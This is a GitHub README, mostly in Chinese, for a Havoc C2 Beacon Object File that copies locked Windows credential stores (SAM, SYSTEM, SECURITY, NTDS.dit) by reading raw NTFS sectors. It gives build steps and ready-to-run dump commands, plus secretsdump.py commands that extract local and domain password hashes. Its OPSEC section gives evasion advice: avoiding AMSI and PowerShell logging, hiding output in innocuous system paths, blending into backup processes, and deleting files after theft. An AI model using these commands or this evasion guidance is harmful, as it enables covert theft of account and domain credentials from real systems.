Muz1K1zuM/UnderlayCopy_bof

GitHub: Muz1K1zuM/UnderlayCopy_bof

专为 Havoc C2 设计的 BOF,通过原始 NTFS MFT 解析复制被锁定的 Windows 系统文件,无需 VSS 或注册表 API。

Stars: 4 | Forks: 0

# UnderlayCopy BOF 用于 Havoc 的 Beacon Object File (BOF),通过解析 NTFS MFT 并读取原始卷扇区来复制被锁定/正在使用的系统文件(注册表配置单元、NTDS.dit 等),无需使用 VSS、Registry APIs 或标准文件 I/O。 这是将 [kfallahi 的 UnderlayCopy PowerShell 脚本](https://github.com/kfallahi/UnderlayCopy)(MFT 模式)移植到原生 BOF 的版本,移除了 PowerShell 依赖并显著减少了检测面。 ## 工作原理 1. 通过 `NtAdjustPrivilegesToken` 在当前令牌上启用 `SeBackupPrivilege` 2. 通过 `GetFileInformationByHandle` 获取目标文件的 MFT 记录号 3. 以同步 `GENERIC_READ` 方式打开卷 `\\.\C:` 4. 读取 NTFS 引导扇区以获取 `clusterSize` 和 `$MFT` 偏移量 5. 读取 `$MFT` 记录 0 并解析其数据运行(MFT 在磁盘上不连续) 6. 使用 `$MFT` 运行映射将目标 MFT 记录号转换为真实 LCN 7. 读取目标文件的 MFT 记录并解析其 `$DATA` 属性和数据运行 8. 从磁盘读取原始簇并将其写入目标文件 ## 系统要求 - **本地管理员**(提权)—— 不需要 SYSTEM - 令牌中可用 `SeBackupPrivilege`(提权进程的默认设置) - NTFS 卷(不支持 FAT32 或 ReFS) - Havoc C2 框架 ## 文件 ``` UnderlayCopy_bof/ ├── Underlay_bof.c # BOF source code ├── Underlay_bof.py # Havoc command registration script ├── Makefile # Cross-compilation with mingw-w64 ├── beacon.h # Havoc BOF API header └── README.md ``` ## 构建 ``` # 要求:mingw-w64 sudo apt install mingw-w64 # 编译 make clean && make # 输出:Underlay_bof.o ``` 编译器:`x86_64-w64-mingw32-gcc` 主要标志: - `-fno-asynchronous-unwind-tables` —— 移除 `.eh_frame` 节 - `-fno-ident` —— 移除编译器元数据 - `-Os` —— 针对大小进行优化 ## 用法 在 Havoc 中加载脚本: ``` Script Manager → Load → Underlay_bof.py ``` 从代理控制台运行: ``` stealthcopy ``` ### 示例 ``` # Dump 本地账户哈希 stealthcopy C:\Windows\System32\config\SAM C:\Temp\out.sam stealthcopy C:\Windows\System32\config\SYSTEM C:\Temp\out.system stealthcopy C:\Windows\System32\config\SECURITY C:\Temp\out.security # Dump Active Directory 数据库(在 DC 上) stealthcopy C:\Windows\NTDS\NTDS.dit C:\Temp\out.dit ``` image ### 后渗透 —— 提取哈希 ``` # 本地账户 secretsdump.py -sam out.sam -system out.system -security out.security LOCAL # 域账户 (NTDS) secretsdump.py -ntds out.dit -system out.system LOCAL ``` ## OPSEC ### 与原始 PowerShell 脚本的对比 | 特征 | PS1 (kfallahi) | 此 BOF | |---|---|---| | AMSI 扫描 | ✅ 是 | ❌ 否 | | ScriptBlock 日志 (EID 4104) | ✅ 是 | ❌ 否 | | `powershell.exe` 进程创建 | ✅ 是 | ❌ 否 | | Registry APIs (`RegSaveKeyEx`) | ❌ 否 | ❌ 否 | | 原始卷读取 (`\\.\C:`) | ✅ 是 | ✅ 是 | | 需要 SYSTEM | ❌ 否 | ❌ 否 | ### 建议 **目标路径** —— 避免使用明显的位置: ``` # 差 C:\Temp\SAM # 较好 C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\.tmp ``` **执行上下文** —— 从合法执行备份 I/O 的进程(例如,以 SYSTEM 身份运行的备份代理)运行,使该模式与正常活动无法区分。 **清理** —— 窃取后删除输出文件: ``` stealthcopy C:\Windows\System32\config\SAM C:\Temp\out.tmp download C:\Temp\out.tmp shell del /f C:\Temp\out.tmp ``` ### Credential Guard Credential Guard 保护 `lsass.exe` 中的 **内存凭据**。它对文件系统级访问没有影响 —— 此技术从磁盘读取文件,不受 Credential Guard 影响。 ## 限制 - 卷硬编码为 `C:` —— 如需其他驱动器号,请修改源代码中的 `vol[]` - 不支持备用数据流 (ADS) - 假定 MFT 记录大小为 1024 字节(所有现代 NTFS 卷的标准) - 不应用 MFT 修复 (Update Sequence Array) —— 实践中可正常工作,但在严重碎片化的记录上可能会失败 ## 致谢 基于 [@kfallahi](https://github.com/kfallahi) 的 [UnderlayCopy](https://github.com/kfallahi/UnderlayCopy) —— MFT 模式移植为 Havoc BOF。
标签:BOF, C2框架扩展, Conpot, Havoc C2, MFT解析, NTDS.dit, NTFS, Raw Disk Access, SAM数据库, SeBackupPrivilege, Windows安全, 中高交互蜜罐, 凭据窃取, 客户端加密, 恶意软件开发, 文件拷贝, 欺骗防御, 绕过防御, 避风